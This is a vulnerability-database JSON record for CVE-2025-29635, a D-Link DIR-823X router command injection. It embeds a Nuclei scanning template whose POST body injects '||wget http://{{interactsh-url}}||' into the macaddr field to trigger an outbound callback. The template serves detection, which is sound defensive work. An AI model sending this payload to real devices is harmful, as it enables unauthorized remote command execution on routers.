{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-29635/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-29635/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-29635/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-29635/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-29635/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-29635"},"sightings":{"href":"/api/v1/sightings/cve-2025-29635"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.87944,"kev":true,"percentile":0.99757},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-29635.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2025-29635\n\ninfo:\n  name: D-Link DIR-823X set_prohibiting - Command Injection\n  author: pussycat0x\n  severity: high\n  description: |\n    D-Link DIR-823X 240126 and 240802 contain a command injection caused by sending a POST request to /goform/set_prohibiting, letting an authorized attacker execute arbitrary commands remotely, exploit requires attacker to be authorized.\n  impact: |\n    Attackers can execute arbitrary commands on the device remotely, potentially leading to full device compromise.\n  remediation: |\n    Update to the latest firmware version provided by D-Link or contact vendor for patches.\n  reference:\n    - https://securityaffairs.com/191135/malware/mirai-botnet-exploits-cve-2025-29635-to-target-legacy-d-link-routers.html\n    - https://github.com/D-Link-SA/CVE-2025-29635/blob/main/CVE-2025-29635.md\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-29635\n  classification:\n    cvss-score: 7.2\n    cve-id: CVE-2025-29635\n    epss-score: 0.87944\n    epss-percentile: 0.99757\n    cwe-id: CWE-78\n  metadata:\n    verified: false\n    max-request: 1\n    vendor: dlink\n    product: dir-823x_firmware\n    shodan-query: title:\"D-Link\"\n    fofa-query: title=\"DIR-823X\"\n  tags: cve,cve2025,dlink,rce,kev,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(to_lower(body), 'dir-823')\"\n        internal: true\n\n  - raw:\n      - |\n        POST /goform/set_prohibiting HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n        X-Requested-With: XMLHttpRequest\n\n        macaddr=||wget http://{{interactsh-url}}||&token=00000000000000000000000000000000\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(interactsh_protocol,'dns')\"\n          - \"status_code == 200\"\n        condition: and\n# digest: 490a0046304402201420b91ca59ab1ec56c7950ae1fe9b5ac122436b229f9fe512d10fd744f64f0b02203badef4012b297aa9842196275b725f083e3ff40571f895ebdd8b14ac96bea45:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-29635"}